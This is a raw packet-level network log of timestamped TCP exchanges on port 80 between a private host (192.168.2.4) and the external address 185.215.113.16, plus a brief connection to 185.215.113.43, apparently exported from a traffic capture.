Dec 9, 2024 23:09:42.516949892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.516993999 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.517024994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.517796993 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.517839909 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.517971992 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.518666029 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.518707037 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.518711090 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.519504070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.519632101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.520467043 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.520509958 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.520590067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.520685911 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.521888971 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.521934032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.522156954 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.522496939 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.522516012 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.522635937 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.523107052 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.523188114 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.523199081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.523977995 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.524080038 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.524106979 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.524821997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.524867058 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.524987936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.525624990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.525665998 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.525722027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.526643991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.526690006 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.526700974 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.527391911 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.527452946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.527587891 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.528206110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.528254032 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.528314114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.529093027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.529139042 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.529221058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.529952049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.529995918 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.530073881 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.530870914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.530914068 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.530936003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.531729937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.531773090 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.531816006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.532589912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.532629967 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.532699108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.533472061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.533514977 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.533674955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.534405947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.534449100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.534486055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.535223007 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.535269022 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.535609007 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.536088943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.536128044 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.536137104 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.536979914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.537023067 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.537072897 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.537841082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.537880898 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.537981987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.538841009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.538886070 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.538912058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.539586067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.539659023 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.539685965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.540452957 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.540507078 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.540683031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.541316986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.541363001 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.541394949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.542465925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.542515993 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.542606115 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.543297052 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.543344021 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.543488026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.543977022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.544024944 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.544111967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.544847965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.544889927 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.544902086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.545708895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.545758963 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.545840025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.546544075 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.546591043 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.546655893 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.547414064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.547456980 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.547506094 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.635142088 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.733125925 CET	80	49874	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:42.735490084 CET	49874	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:42.851742983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.851756096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.851766109 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.852243900 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.852284908 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.852296114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.852428913 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.970963001 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.970976114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.970985889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971009016 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971019983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971029997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971040010 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971050978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971060991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971071005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971409082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971421003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971430063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971440077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971457005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971467018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971476078 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971486092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971497059 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.971507072 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972421885 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972431898 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972440958 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972450018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972459078 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972469091 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972480059 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972489119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972500086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.972510099 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973344088 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973356009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973366022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973376036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973386049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973397970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973407984 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973418951 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973428011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.973437071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974092960 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.974116087 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974133015 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.974256039 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974272966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974282026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974298000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974308014 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974324942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974335909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974345922 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974355936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.974370956 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975219965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975230932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975239992 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975256920 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975266933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975276947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975286961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975297928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975306988 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975322008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.975903034 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.976074934 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976087093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976097107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976149082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976165056 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976175070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976185083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976202011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976212978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.976224899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977050066 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977062941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977103949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977116108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977127075 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977145910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977155924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977209091 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977252007 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977262020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977286100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.977308035 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.977332115 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.977371931 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.977911949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977924109 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977986097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.977997065 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978004932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978015900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978029966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978046894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978059053 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978069067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978919983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978930950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978949070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978960037 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978970051 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978980064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.978996038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979007006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979017019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979027987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979037046 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979909897 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979921103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979929924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979939938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979950905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979963064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979971886 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.979983091 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980638981 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.980653048 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.980671883 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980693102 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.980725050 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.980773926 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.980799913 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980809927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980820894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980829954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980839968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980849981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980859995 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980870962 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.980880976 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981587887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981729031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981739998 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981750011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981760979 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981770992 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981781960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981791973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981805086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.981820107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982584000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982594967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982604027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982614040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982624054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982645035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982655048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982665062 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982675076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.982690096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983532906 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983556032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983566046 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983577013 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983587027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983598948 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983609915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983619928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983629942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.983640909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984404087 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984416008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984435081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984446049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984472036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984484911 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984498024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984514952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984524012 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.984535933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985373974 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985384941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985394001 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985411882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985420942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985430956 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985441923 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985451937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985460997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.985472918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986216068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986234903 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986361980 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986372948 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986382961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986392975 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986402988 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986412048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986422062 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.986433029 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987276077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987288952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987298965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987308025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987327099 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987337112 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987345934 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987355947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987365961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.987379074 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.987382889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988075018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988173008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988183022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988193989 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988204956 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988214970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988224030 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988234997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988244057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.988253117 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989104033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989114046 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989124060 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989134073 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989145041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989156961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989166021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989177942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.989186049 CET	80	49868	185.215.113.16	192.168.2.4
